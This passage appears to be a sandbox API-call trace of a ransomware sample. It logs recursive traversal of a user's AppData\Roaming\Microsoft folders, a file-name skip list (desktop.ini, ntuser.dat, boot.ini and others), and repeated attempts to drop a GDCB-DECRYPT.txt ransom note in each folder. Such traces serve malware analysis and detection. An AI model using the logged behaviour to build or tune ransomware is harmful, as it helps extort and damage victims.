(lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\GDCB-DECRYPT.txt") returned 91 [0135.566] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\GDCB-DECRYPT.txt") returned 91 [0135.566] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.566] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.566] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.566] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.566] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.566] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.566] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.566] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.566] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.566] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.566] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.566] lstrcmpW (lpString1="Low", lpString2=".") returned 1 [0135.566] lstrcmpW (lpString1="Low", lpString2="..") returned 1 [0135.566] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\", lpString2="Low" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low" [0135.566] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\" [0135.566] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.566] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.566] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.566] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.566] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.566] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.567] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\") returned 79 [0135.567] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\*" [0135.567] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x2c76c0 [0135.567] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.567] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0135.567] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.567] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.567] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0135.567] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.567] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.567] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\GDCB-DECRYPT.txt" [0135.568] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\GDCB-DECRYPT.txt") returned 95 [0135.568] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.568] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0135.568] FindClose (in: hFindFile=0x2c76c0 | out: hFindFile=0x2c76c0) returned 1 [0135.568] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.568] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\\\GDCB-DECRYPT.txt") returned 96 [0135.568] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.568] GetLastError () returned 0x50 [0135.568] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.568] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\") returned 79 [0135.568] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\*" [0135.568] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x2c76c0 [0135.568] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.568] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0135.568] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.568] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.568] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0135.568] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.568] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.568] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\GDCB-DECRYPT.txt" [0135.568] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.569] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\GDCB-DECRYPT.txt") returned 95 [0135.569] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\GDCB-DECRYPT.txt") returned 95 [0135.569] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\GDCB-DECRYPT.txt") returned 95 [0135.569] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\GDCB-DECRYPT.txt") returned 95 [0135.569] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.569] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.569] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.569] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.569] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.569] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.569] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.569] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.569] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.569] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.569] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0 [0135.569] FindClose (in: hFindFile=0x2c76c0 | out: hFindFile=0x2c76c0) returned 1 [0135.569] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0135.569] FindClose (in: hFindFile=0x2c7680 | out: hFindFile=0x2c7680) returned 1 [0135.569] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0135.569] FindClose (in: hFindFile=0x2c7640 | out: hFindFile=0x2c7640) returned 1 [0135.569] FindNextFileW (in: hFindFile=0x2c7a80, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0135.569] lstrcmpW (lpString1="MMC", lpString2=".") returned 1 [0135.569] lstrcmpW (lpString1="MMC", lpString2="..") returned 1 [0135.569] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="MMC" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC" [0135.569] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\" [0135.569] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.569] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.569] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.570] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.570] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.570] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.570] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\") returned 52 [0135.570] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\*" [0135.570] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x2c7ac0 [0135.570] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.570] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.570] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.570] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.570] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.570] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.570] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.570] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\GDCB-DECRYPT.txt" [0135.570] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\GDCB-DECRYPT.txt") returned 68 [0135.570] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.570] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0135.570] FindClose (in: hFindFile=0x2c7ac0 | out: hFindFile=0x2c7ac0) returned 1 [0135.570] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.571] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\\\GDCB-DECRYPT.txt") returned 69 [0135.571] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\mmc\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.571] GetLastError () returned 0x50 [0135.571] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.571] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\") returned 52 [0135.571] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\*" [0135.571] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x2c7ac0 [0135.571] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.571] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.571] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.571] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.571] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.571] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.571] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.571] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\GDCB-DECRYPT.txt" [0135.571] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.571] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\GDCB-DECRYPT.txt") returned 68 [0135.571] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\GDCB-DECRYPT.txt") returned 68 [0135.571] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\GDCB-DECRYPT.txt") returned 68 [0135.571] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\GDCB-DECRYPT.txt") returned 68 [0135.571] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.572] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.572] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.572] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.572] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.572] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.572] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.572] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.572] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.572] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.572] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0135.572] FindClose (in: hFindFile=0x2c7ac0 | out: hFindFile=0x2c7ac0) returned 1 [0135.572] FindNextFileW (in: hFindFile=0x2c7a80, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0135.572] lstrcmpW (lpString1="MS Project", lpString2=".") returned 1 [0135.572] lstrcmpW (lpString1="MS Project", lpString2="..") returned 1 [0135.572] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="MS Project" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project" [0135.572] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\" [0135.572] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.572] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.572] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.572] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.572] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.572] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.572] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\") returned 59 [0135.572] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\*" [0135.572] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x2c7640 [0135.573] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.573] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.573] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.573] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.573] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.573] lstrcmpW (lpString1="16", lpString2=".") returned 1 [0135.573] lstrcmpW (lpString1="16", lpString2="..") returned 1 [0135.573] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\", lpString2="16" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16" [0135.573] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16") returned 61 [0135.573] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.573] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.573] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.573] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\GDCB-DECRYPT.txt" [0135.573] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\GDCB-DECRYPT.txt") returned 75 [0135.573] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.573] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0135.573] FindClose (in: hFindFile=0x2c7640 | out: hFindFile=0x2c7640) returned 1 [0135.573] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.573] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\\\GDCB-DECRYPT.txt") returned 76 [0135.574] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\ms project\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.574] GetLastError () returned 0x50 [0135.574] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.574] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\") returned 59 [0135.574] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\*" [0135.574] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x2c7900 [0135.574] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.574] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.574] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.574] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.574] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.574] lstrcmpW (lpString1="16", lpString2=".") returned 1 [0135.574] lstrcmpW (lpString1="16", lpString2="..") returned 1 [0135.574] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\", lpString2="16" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16" [0135.574] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\" [0135.574] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.574] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.574] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.574] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.574] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.574] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.575] lstrlenW 